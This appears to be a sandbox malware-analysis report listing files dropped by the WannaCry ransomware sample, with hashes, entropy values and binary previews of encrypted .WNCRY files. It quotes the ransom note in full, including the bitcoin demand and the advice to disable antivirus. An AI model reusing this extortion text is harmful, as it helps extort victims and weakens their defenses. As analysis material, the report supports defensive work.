                                                                                                      Preview:......"l4e.$.j..|.D'.Y1.:,.Ws{.....>..H..G..U,jj..B..b7}...5..3.A.rQ.c)G}}.~........Nj...f.y....2..f....M...jL.1.h.d8..4]p..A[x...7......g...x...7.. ..-d9+..T`.f7LO...r.D...S1.<.`..#..Y...@.Y.<...m.'R.~...O..i$Pp..mXo..t....G..D......(QP?.B.^...|..L...7....eT-..b|..+.M..p.;<....&.=C.*.i..3$.Z..;.:..p.^...c.N..*8.n.X.......#.^wE.I.....`@....O]p8...|-..9._...4...Z..-....T... ....#..3..hT....I.fm..T....3.eO{. 0$..O.x..#..Q.UD?Bn..R.@.c^.x...r......RK.t...C}..H+....._.5i.k......u7.......s5. ...*..`..xJ.W....*.%.n.N..X]^..J.b,m..A.....N..L.p....E...6q........ZR.@$.e.@.....%...@......t..&..@.`R^.S..f........'..Z.=F>J..Uw.i.3..l.{....B....{]......,.1,Y.>K..OW..y..*,.-....$...a.w.Fwu_l..gW.9K...-.<..D.h..t.O..<..#....3.(...r}....w.nA..Hf..AC.....Q.p.|......t...E.y..........7{.i.S.8..Z..@.1..6.....KO..g..uC....0.'w.%*..RD.....0C....#Z{b[..d..cXo{...i.>Zh......................D Q..C..kb..2...\......p....z.m......=sz..1.....I.>?-TZ.'..jFnz...Q.

                                                                                                      C:\Users\user\Documents\NVWZAPQSQL\NVWZAPQSQL.docx.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.852738302674856
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkoXYCrgCv82obL1YGh5O0VaYcf2cH5kMe9slSln1rk4EL8pw5lPyhMk+A7COz9:bkmY9+TobM2cSESln1rk4ELH59yhMkVf
                                                                                                      MD5:808D973F91AF62091A21E15561881A5E
                                                                                                      SHA1:444106EE65199C3E85D1A69B3A9A6E4E27E59C8E
                                                                                                      SHA-256:576E9E1C12D920D60C4D130BB21D1E80E0E60072DBB27C12899E62E78E9CE0E8
                                                                                                      SHA-512:846C2E98A33C868FAF2170693D0095DA890F6BAD359872245D50965D189DA00616681E631936697B49DDB35AEF95FEAA698568B0B2DC3D0D86190D3DCEF71CDD
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....}..k..)..x.Px...X...h....,..=\.+.2aZ.5...|Y..N....W..1Aj....\...h..wJ5+.j..c......p.7.*MeL.d:..L.Z...2....%..X..&.@.cR..8d.|.QX.+.<.L....+!n.O..-C.).?........._.. ,U..B.\OAH.;.....2.~........u1o...Q(<.....x-..q......R.$.kc.]i.:|.b}V..O$Okf.e../.1............0.:].>........j..:...N&.F.^S1.s...._..o)'G'...>.e...o.C^.kuI'..i............6.[..;.3`2.8B..2t..v...PQ..P...U...6.. w...J...u.... ....A^]7.DN*n.....E.v.n=L.1...R..S."M.P......."I..z.....U..>.}U1..N.kQ....J....A|.'...I2.j=..}....UrB.l..)..8}.......,!..qB>+.=....J......"........&.4.7.9.Pr..[.vh.L.O....ps.,......e.w.I..8.UM.nr$.....g.....2.=t.....!.V.Pn....y.#Ka.a.RrC5W.As%qLW...O..7aj.0.......=&.tL&x%:.f.W.r8K.R:./..Y.L...G....oZ.....B2\I*]........m..1z>uh.>..E........%..88S.N.U..+...{X..CC....q..z.....X...,|..+.....!;PC...~ZI.?.l..2..x"&?..Qo.3...O..>Q...H.Dw\H.)f^.....v"cW...`\l.0.$>..*j....9..Ng...-z...s....:M5..kr.409..P.R....7:...#.k.m..k...%&<....=.........fz..IYk.h..)]..<.^".

                                                                                                      C:\Users\user\Documents\NVWZAPQSQL\NVWZAPQSQL.docx.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.852738302674856
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkoXYCrgCv82obL1YGh5O0VaYcf2cH5kMe9slSln1rk4EL8pw5lPyhMk+A7COz9:bkmY9+TobM2cSESln1rk4ELH59yhMkVf
                                                                                                      MD5:808D973F91AF62091A21E15561881A5E
                                                                                                      SHA1:444106EE65199C3E85D1A69B3A9A6E4E27E59C8E
                                                                                                      SHA-256:576E9E1C12D920D60C4D130BB21D1E80E0E60072DBB27C12899E62E78E9CE0E8
                                                                                                      SHA-512:846C2E98A33C868FAF2170693D0095DA890F6BAD359872245D50965D189DA00616681E631936697B49DDB35AEF95FEAA698568B0B2DC3D0D86190D3DCEF71CDD
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....}..k..)..x.Px...X...h....,..=\.+.2aZ.5...|Y..N....W..1Aj....\...h..wJ5+.j..c......p.7.*MeL.d:..L.Z...2....%..X..&.@.cR..8d.|.QX.+.<.L....+!n.O..-C.).?........._.. ,U..B.\OAH.;.....2.~........u1o...Q(<.....x-..q......R.$.kc.]i.:|.b}V..O$Okf.e../.1............0.:].>........j..:...N&.F.^S1.s...._..o)'G'...>.e...o.C^.kuI'..i............6.[..;.3`2.8B..2t..v...PQ..P...U...6.. w...J...u.... ....A^]7.DN*n.....E.v.n=L.1...R..S."M.P......."I..z.....U..>.}U1..N.kQ....J....A|.'...I2.j=..}....UrB.l..)..8}.......,!..qB>+.=....J......"........&.4.7.9.Pr..[.vh.L.O....ps.,......e.w.I..8.UM.nr$.....g.....2.=t.....!.V.Pn....y.#Ka.a.RrC5W.As%qLW...O..7aj.0.......=&.tL&x%:.f.W.r8K.R:./..Y.L...G....oZ.....B2\I*]........m..1z>uh.>..E........%..88S.N.U..+...{X..CC....q..z.....X...,|..+.....!;PC...~ZI.?.l..2..x"&?..Qo.3...O..>Q...H.Dw\H.)f^.....v"cW...`\l.0.$>..*j....9..Ng...-z...s....:M5..kr.409..P.R....7:...#.k.m..k...%&<....=.........fz..IYk.h..)]..<.^".

                                                                                                      C:\Users\user\Documents\NVWZAPQSQL\PALRGUCVEH.pdf

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.806830516009532
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:Njtuy4H4BUyZ0kCf222UUXgyiQjFFFV3Nx8zcEukfgHz0:NjYy8oGf2HNXgyVF/3NxkuCK0
                                                                                                      MD5:9D545F8D58BAE5323936182CCC45C114
                                                                                                      SHA1:468F9143C39B348FC81CD8C5034521BC026C3CDA
                                                                                                      SHA-256:D87ABF8DD52D55F9D359CF7CC93C114AFBA128083635AC7A50954D4CF210C099
                                                                                                      SHA-512:EC5F4977FF68262F6BF18AB0046F615174AD6CF1E0073ECCA671C9AC995459CD93114A7280460D479B95A9362C4DD638452320E13AE5D2AAA2CA30B243D533BC
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:..N..)Pv...4............B.-.../t..rx.T%.....t...W......A.1...wsW.JG..%......KD..%N.m..|...=..bqej.z...D..D..)...+G#c....6d?.e...1.=....L.bR..vU8.y..R"..<.8.\.F."...x.%........X.B..7...]..7.+Tq}....._..M...a...Zd..:.,...".....&<U.j.....0IJ..m....$A.'...{.....-3.j3j.+Iw>..(......C]...3..Z<....q...-..v..m...q.&#..=.._..........J...i..b.....8.J3.\......H......`..$h..3.e..hO...t....V7.v...m......+.8...q.%e..i......`.g.....$ *..V.}.........GY`f.Us.?..tC...+G.:...+..x..4..m.di.I.P.?j61..B..>8.}..m.#........J.D...M.M....r..hb...!..-.A.....2tx%FDB4....."..ky.f?.....\..R).b.5..O.".....Fbo;..q[.B..}.>..`..f..;...2...#.....`'..f.U..XuQ<R..e>_.....].5x"_{.E.ax..@..T....g..eU0.].,...n'Mwt..O..*...D.....3aWQs.d3;..c.`.r(.....=.;.}. .z.X.%...G`........-=e...p...T'.j...+....R.7..Y.{....\M.K.Bh.. ..q..Fd.....Ty$\...+./R.....2W......&wo8....^..|B|..OM......[!..z>.Q...`.G..<.b.:..n..:..2...&.....dsJk..:.$6=4.O.;.b<.:....d...D)Q;/.|RsZ.......sz.=...........!BM

                                                                                                      C:\Users\user\Documents\NVWZAPQSQL\PALRGUCVEH.pdf.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.859961041081402
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bk+hxy33rmdeyXN4/5OZMuVowWLeLQ2o8yrBqXaiwfcogJ1XvT2pjwjfOLfsVugp:bk+hUCwy94x7uVjlMEyrBCaiwUoo72pc
                                                                                                      MD5:7229675099C3993E31A6312A74CB2349
                                                                                                      SHA1:9377D87721E922D431B396BD4DAC3A7B7191FB87
                                                                                                      SHA-256:BB17B6A6E4F72598EF3CDEB5BDA1A58CAA44D7B3A3A38832C9C45DD81DFCD72C
                                                                                                      SHA-512:E494A229F22CC8F61DF641508F72E15BED1E68B00704E41463EC2EF403691D4E388F338EB51C064F6722B07AB83F1181C5509C04D92BB1AA5325C2EDBE617B23
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.........k_.*.c.sC.d.m{qG....]$.l.9...~.O;.D.../A.L.Y. M&2..a.a..e)O..r2....c..... ..C.D....J....,n.y..S."..Au...Q.<a.[..;..E..B.....h.}..R...6U^SR.x...g~$,.BaP...$....q.Ki....-....^...:........-.....b.T.]U..L..c.s9X.x..C......o....-.....'..p.D..2.............j?.>..'...b..4U.!&.')0.5.y.,o.!..5.O>...QN..=t..........r<.=..."!Y... 9....1......9...$.o.T).F..W..l.R.F"....o-..I.|F.....1j...Av..L..5.9.......b.d.i.S.r.b+...w...w2..K;.....'.......I.....t..V.|Qo..ao....I..3\..t$."f!K....Y.....V9a.%.....J9..18...}...)4.TSxZ....^..9..ym.o.g/.....=.z.v..fI...7.2...>I..,..0...>h........p..u...V~F]..Nsb...>.I$h$...)..k..y...:..\.>.N...-.:..j.w..I(E. ^.]_.Z.\eZ{,M..T...}.xt.....`...C..j\....-...2.~49R.|...H.....#..`u5q.O$.Q...&q{...iXE.4..Z;.....a.Eh....w.8...h(*9..I<....LG.H.+././.6..MY...o8zsZ.S....b.i..z......y`.......c......;.d(f..9..u[.Qmi.;....mnl&\...*.+?.h.n......\"*.E.9....L...eI.k.]..1~Y..42e.....V...NF...V..,z)...(.w..;..i.c.D.(

                                                                                                      C:\Users\user\Documents\NVWZAPQSQL\PALRGUCVEH.pdf.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.859961041081402
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bk+hxy33rmdeyXN4/5OZMuVowWLeLQ2o8yrBqXaiwfcogJ1XvT2pjwjfOLfsVugp:bk+hUCwy94x7uVjlMEyrBCaiwUoo72pc
                                                                                                      MD5:7229675099C3993E31A6312A74CB2349
                                                                                                      SHA1:9377D87721E922D431B396BD4DAC3A7B7191FB87
                                                                                                      SHA-256:BB17B6A6E4F72598EF3CDEB5BDA1A58CAA44D7B3A3A38832C9C45DD81DFCD72C
                                                                                                      SHA-512:E494A229F22CC8F61DF641508F72E15BED1E68B00704E41463EC2EF403691D4E388F338EB51C064F6722B07AB83F1181C5509C04D92BB1AA5325C2EDBE617B23
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.........k_.*.c.sC.d.m{qG....]$.l.9...~.O;.D.../A.L.Y. M&2..a.a..e)O..r2....c..... ..C.D....J....,n.y..S."..Au...Q.<a.[..;..E..B.....h.}..R...6U^SR.x...g~$,.BaP...$....q.Ki....-....^...:........-.....b.T.]U..L..c.s9X.x..C......o....-.....'..p.D..2.............j?.>..'...b..4U.!&.')0.5.y.,o.!..5.O>...QN..=t..........r<.=..."!Y... 9....1......9...$.o.T).F..W..l.R.F"....o-..I.|F.....1j...Av..L..5.9.......b.d.i.S.r.b+...w...w2..K;.....'.......I.....t..V.|Qo..ao....I..3\..t$."f!K....Y.....V9a.%.....J9..18...}...)4.TSxZ....^..9..ym.o.g/.....=.z.v..fI...7.2...>I..,..0...>h........p..u...V~F]..Nsb...>.I$h$...)..k..y...:..\.>.N...-.:..j.w..I(E. ^.]_.Z.\eZ{,M..T...}.xt.....`...C..j\....-...2.~49R.|...H.....#..`u5q.O$.Q...&q{...iXE.4..Z;.....a.Eh....w.8...h(*9..I<....LG.H.+././.6..MY...o8zsZ.S....b.i..z......y`.......c......;.d(f..9..u[.Qmi.;....mnl&\...*.+?.h.n......\"*.E.9....L...eI.k.]..1~Y..42e.....V...NF...V..,z)...(.w..;..i.c.D.(

                                                                                                      C:\Users\user\Documents\NYMMPCEIMA.jpg

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.778704645529756
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:RZ7NqgmC63pefgL2zSfCnbiV+u9HNcBeep:ggmze4L2whNoeep
                                                                                                      MD5:6306CF422A1C7B65B1578F059515519F
                                                                                                      SHA1:8B2E5763BD81118937A75BDE3A2360C81F33EC6B
                                                                                                      SHA-256:F7F62DD8D78F72E3A1D4E462CBD2D3475EFC3F956F959044B2FC5BE00B1AC78F
                                                                                                      SHA-512:50E8CEAE071EFA91DCE565A65B7571553556B1B9D19D8494E04D9E0F195F14C23666C792CD227DDA1F878D71920663D940E67118416C4D624EBC439B48F8D727
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:&..c.+'q.-..x.A:+...N..s"..i_V.x/.;....F.i'.Z.,....r?XdY.+./.?y....b..-.3..3Q.n..7.Fx...`..Q]O.4....!..7{.....@.x.ju.."p....X...0[f.......P.)J...rx..d4...M:..|M..d.`.y.......A...J....V*vTev."R.M.S`.X.Y.D......9...Pf......Dj.`..Ms.I..!>..z...V...3.....H....G...x.G.....j.......Mh.............C.F...4.}$y..G.......f.n......... v.x.p-..K.!8R$';....+....<'=.t.R,.o...j.uN....D.A.T..t,>..;.5...8....Pl..@P...S....=8\/|K<..$r"..?........Jo..!..W.......1.g....e.%..H.RPIj..=.7............2S........I.....-...H..xF4oD....FR..w.[...C..#t...X.|8.a.$..f.";...'d.)....|.....e.-..~.d..+m..>.R6m...._.EW."w.....P......h_._A.....efh......r.SB..?.~.T..i.8Q..q..;.y\.........u.J..t..r..l&.-R!3~..C.^h.*t.....G..f..x....<@R..]..#3b..|...Z...E...BK...2Z.5__..B.A..............}.T.R4['...O"G..*..7k.q..5OB..z..m.Me0...o..c.vQ..i.JX..Kq..?..........#.f.7}....|.>qR.U..}...Q.@....N..sP.....}....X..;.....W.KCkR..RN.....0.GU..4.........x.M..m.d.K..?=K...X..0N=...q....o

                                                                                                      C:\Users\user\Documents\NYMMPCEIMA.jpg.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.854453733581945
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkj0NE1SprRvRjIJw6v4nApBxOa2Pk4MJAT4/EHRLcWnQgdgejCxvdWsTQb6po:bkj8lRv6n1Gk4MqT4/EHRLnQ0gHDTk6i
                                                                                                      MD5:6FB47A0FCCA16E2105DEAEBD62BDB83D
                                                                                                      SHA1:DB0E93012E4F7F188029AC07E0C5BE594036B1D3
                                                                                                      SHA-256:4BE7474FB8765F5BF903A58B9F25E6583C6958CF56CD1687F396DB0C0892D247
                                                                                                      SHA-512:6A81616078DF89184A2BD7D0CE117B1D9D28D752C6E37DEFE6BAC10CDD46C8912532EB62267168D93827BD7ED54C4EDEA123BF76DF79B38E7DD09A6D82CBF3C5
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!........'..Y)nyw..Pr......yN)g..f..Ev PUl....M4...;..YE.6..A:.......g.\j.U.f...e..ZB.O....5k.{...5..;@.Cf._.......e. ...Lp..+R....1. .Z(_..m{....U.....y.$2.p.. yb....sETG.CW...)r../..[.\_uMh...c.t._&.h..D. n.14y .m..q....8.$.Z.G....#2.._....b...l..............:m..m.{.|a..oy..L3..b._.R...=.m..E...I...E..n....D.....&....v.=....._....u..GH1..pNQ..Q.s..7.!k.g...........P..x..%tSx2.3.D..1........O\.....u.PF.c......\g}.....d..;O...M.?.[Q....)......L...0.<.......{..Q.=.......H.c..h.%7.2...,..,.~..]..N.~tJ.(..d.,$...j.%+..'.1.|..z..M.l...?...k:.....d...j.3....._..f.'...ey.K1&B\.X......UZ..L...m..5.L.....h..w..0>.k.#.t.V.3}z..*..<.fn.q.....(h*n....0i.%:..8....D.8....}.Os"U......... ..........Sb..~..'.b{....}...(...*C.1..CV....1/."..O..B...)..._n.[.vm~.........j..2-...r..>.<#...D.V..5...R...S...g..."..;.....LQ.qe..M..^.*..EC...x5Yc.I....C.;.x..PW..j.m.R....W.B.....A.)....}l."...........r..CL..A...ZN..r"1*........a!SF...e.$U..r.o.....{

                                                                                                      C:\Users\user\Documents\NYMMPCEIMA.jpg.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1320
                                                                                                      Entropy (8bit):7.854453733581945
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:bkj0NE1SprRvRjIJw6v4nApBxOa2Pk4MJAT4/EHRLcWnQgdgejCxvdWsTQb6po:bkj8lRv6n1Gk4MqT4/EHRLnQ0gHDTk6i
                                                                                                      MD5:6FB47A0FCCA16E2105DEAEBD62BDB83D
                                                                                                      SHA1:DB0E93012E4F7F188029AC07E0C5BE594036B1D3
                                                                                                      SHA-256:4BE7474FB8765F5BF903A58B9F25E6583C6958CF56CD1687F396DB0C0892D247
                                                                                                      SHA-512:6A81616078DF89184A2BD7D0CE117B1D9D28D752C6E37DEFE6BAC10CDD46C8912532EB62267168D93827BD7ED54C4EDEA123BF76DF79B38E7DD09A6D82CBF3C5
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!........'..Y)nyw..Pr......yN)g..f..Ev PUl....M4...;..YE.6..A:.......g.\j.U.f...e..ZB.O....5k.{...5..;@.Cf._.......e. ...Lp..+R....1. .Z(_..m{....U.....y.$2.p.. yb....sETG.CW...)r../..[.\_uMh...c.t._&.h..D. n.14y .m..q....8.$.Z.G....#2.._....b...l..............:m..m.{.|a..oy..L3..b._.R...=.m..E...I...E..n....D.....&....v.=....._....u..GH1..pNQ..Q.s..7.!k.g...........P..x..%tSx2.3.D..1........O\.....u.PF.c......\g}.....d..;O...M.?.[Q....)......L...0.<.......{..Q.=.......H.c..h.%7.2...,..,.~..]..N.~tJ.(..d.,$...j.%+..'.1.|..z..M.l...?...k:.....d...j.3....._..f.'...ey.K1&B\.X......UZ..L...m..5.L.....h..w..0>.k.#.t.V.3}z..*..<.fn.q.....(h*n....0i.%:..8....D.8....}.Os"U......... ..........Sb..~..'.b{....}...(...*C.1..CV....1/."..O..B...)..._n.[.vm~.........j..2-...r..>.<#...D.V..5...R...S...g..."..;.....LQ.qe..M..^.*..EC...x5Yc.I....C.;.x..PW..j.m.R....W.B.....A.)....}l."...........r..CL..A...ZN..r"1*........a!SF...e.$U..r.o.....{

                                                                                                      C:\Users\user\Documents\Outlook Files\@Please_Read_Me@.txt

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                      Category:dropped
                                                                                                      Size (bytes):933
                                                                                                      Entropy (8bit):4.710902136409594
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnS4RQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3ChvWmMo+S
                                                                                                      MD5:7E6B6DA7C61FCB66F3F30166871DEF5B
                                                                                                      SHA1:00F699CF9BBC0308F6E101283ECA15A7C566D4F9
                                                                                                      SHA-256:4A25D98C121BB3BD5B54E0B6A5348F7B09966BFFEEC30776E5A731813F05D49E
                                                                                                      SHA-512:E5A56137F325904E0C7DE1D0DF38745F733652214F0CDB6EF173FA0743A334F95BED274DF79469E270C9208E6BDC2E6251EF0CDD81AF20FA1897929663E2C7D3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                      C:\Users\user\Documents\Outlook Files\@WanaDecryptor@.exe.lnk

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 2 06:28:25 2024, mtime=Fri Aug 2 06:28:25 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                      Category:dropped
                                                                                                      Size (bytes):575
                                                                                                      Entropy (8bit):5.169912156465633
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:6:4xtQl3/Q3CpzeVs+bTcCSyNUtxXCzsLUyZUod6tMljAlpyl+GoJ4D6Vod6NuXumC:8UQypzYNbuyethVJUobjAvoVxmV
                                                                                                      MD5:F8EA44F289D28342CA387D6472C11A1C
                                                                                                      SHA1:E802B2E6C49303D98A8BB3806940DA670D3374F9
                                                                                                      SHA-256:A225F1A15A2DC344AEED3C5EBCC22D8E187B8B1A0E78A15DAE60CA40461F09EF
                                                                                                      SHA-512:EFBA24019016A5E63F7B3B58FCD73BB575943BB2619CE60D33608B1C35C67533B1F7ED2B52734B1633A0E3C6A25798B3E436ABE2E2D31765D30A95C76C1B5091
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:L..................F.... ....4.......[.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4...............t.2......J.2 .@WANAD~1.EXE..X.......Y.;.Y.;.............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W............E5......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......971342...........hT..CrF.f4... .I.............%..hT..CrF.f4... .I.............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                      C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):271360
                                                                                                      Entropy (8bit):7.999360494172027
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:6144:n+5WelqHPT4+jZuofmGHG3aY5CPUJeOyNxXlR8mkN0z:n25l44dIcFWrR8mBz
                                                                                                      MD5:11ABDCF1705D752110EFF9C9F95989E0
                                                                                                      SHA1:24F509988EF8E890C701A2AAEEA8C37BDA5B9E72
                                                                                                      SHA-256:8233E3BF19D3090BF68817AE11BF64E27AD228742CFC54E2E0997E51D5BD519A
                                                                                                      SHA-512:4BCEE0857119B75D5FC521B21BC66ACBA8B4E4BBFEBA11592B2A5965D815E0C584881D15198270573CE50312BD4FCC91934AD9898E9955D1836481B0CA5F9B6E
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:C^..z..G.....I...G9)...n.:.=....k..J.q....0"..%.}b.b-..]Op.....o.._...Is..g..$j.i_A7W....i<..".....}L.oj5}+....`.w...J....?@4..,...^..q6f2z...B}......8..y...i.....@...]u.O.>..U.<.M..9.~W-...G)..v.if. .@(.........>.q..0...R,...G.._i.8.f@..t~.t.\...D..H..c\...W....[..*.....l.[c%b..o...o`9....r&...!.@.OxYh..A'.AF|...|nsv.G..u).5.qa..........3.......3..b.`......q.z\,H.....Hh.......!P..8...Ju...T4..?$b.,.....U..../...@cC.OC....:.......V.C.;..nU=.'.`n.sh.]..!.......}U,w{....&k..wE...@)..Q.Z<?..a:..Jk k.sn.S...H.O...'!$!..X.T8.ed.d.'.M.x..r>...CSt.k.'..v..+...Hw(...).k... .......2.5.E.B)a..D.ZU\.''Q}.1l.a}..:s.~...tm.....]^...?nk.:.......hL.V.<.+....E....^.v.i..>..Kwx... .....6:uy2.gm.p...Fl.C..&.V~mn.B.Nx.5.6.....R..iql(>.G.....P..]Ol..P?[z.......D_s..G.YU..x..0..0x.SZ,...%..0.*...n.E..7OC.H......J|..?...y.B..b.....:[h.,...8s..>.p\....A..,..l..z...G..Q..E.P.32Z9.t_.%0.",...0.*":.}`..rMe2Y....j.k..p<..h...):.M.....]C(s2u.......8....P..r .r&.

                                                                                                      C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):271640
                                                                                                      Entropy (8bit):7.999383309981518
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:6144:rV8HRDkwoM2F8dAh9Mzck0F45jo0tfKSnnL/dvdQk3dfHG6cBl4:rV80sw9Yc/F4VoUfVdqkXs4
                                                                                                      MD5:47DB078D8402DA56F6BE66BAD918932C
                                                                                                      SHA1:2BE8CFC788EBACA3B5FC3151E7813A183AB2E0C6
                                                                                                      SHA-256:89BF8B49D42E80BA56E618B79409E4900D776A31CBB2480DACBA36E959C83458
                                                                                                      SHA-512:19BDF002D499A40F24E3E216FD5B149D9816AAD6B96A31C1E05D79A2A0C2348FF1BA616BE8FC616613DD39C7B203FB3FC5EE14E101BEB142677F927E62D26986
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....X$$..L.R..:..d....b.w....D..F....O$1.K....@.Js........wVR.9.qb.f..G...T.L.G.W....)...vX...e.....=&..Q...^.|1......m.q.'.....N_....C.H.[..:e_..a....V..TJ.6..D.b.r'..v".k.l.562..Yax.<q.(...S...+....7..Z..d....<....6..$UQ...1p../.?E[L...GWH.~+.....$........!..jr......>...>".8f.......koJ1..r..K...2P..^.b%..7h...c..4........~...".]...jk..w.|.9..kS.V.Hu....?ar..m.U...[..J..?...Xi..C.....AL.#i...{U..0S....[H....S...4..`....tS..!;,..N ..ft.[ .....B.t#.....4.....lB...r7..a.>.K.E.}.H..W.....-.........-<.L.j._iM..H.P..O.($.&...U... .ok|x.r.D.4..t...~.^.[)......E!.J.{`.Q.y%...........`q....XQG.|k?>.Q|9. .l.....P...9...B..~.-..;..B..4...H....'.*....8.W..Q..o.T....C..........JZZ..,.F..}.1.9.U\.b..U`./....6.G.'N.b....95....Z..y.F....f...m,.....T|.............d......NQ..e.T(/H..|..ZSSi(_....p.k.....G.(&.....l=l0w...L.Cu.R.nO.-}..Y@..W:...o...{.J~&...6..jPX......l+Q{8y. ..|<.l.g}.&..2.....Zp..~e..G.N.kKtK..O.c6..K.X.J.\\..5YG+._.....<...m..*.

                                                                                                      C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst.WNCRYT

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):271640
                                                                                                      Entropy (8bit):7.999383309981518
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:6144:rV8HRDkwoM2F8dAh9Mzck0F45jo0tfKSnnL/dvdQk3dfHG6cBl4:rV80sw9Yc/F4VoUfVdqkXs4
                                                                                                      MD5:47DB078D8402DA56F6BE66BAD918932C
                                                                                                      SHA1:2BE8CFC788EBACA3B5FC3151E7813A183AB2E0C6
                                                                                                      SHA-256:89BF8B49D42E80BA56E618B79409E4900D776A31CBB2480DACBA36E959C83458
                                                                                                      SHA-512:19BDF002D499A40F24E3E216FD5B149D9816AAD6B96A31C1E05D79A2A0C2348FF1BA616BE8FC616613DD39C7B203FB3FC5EE14E101BEB142677F927E62D26986
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
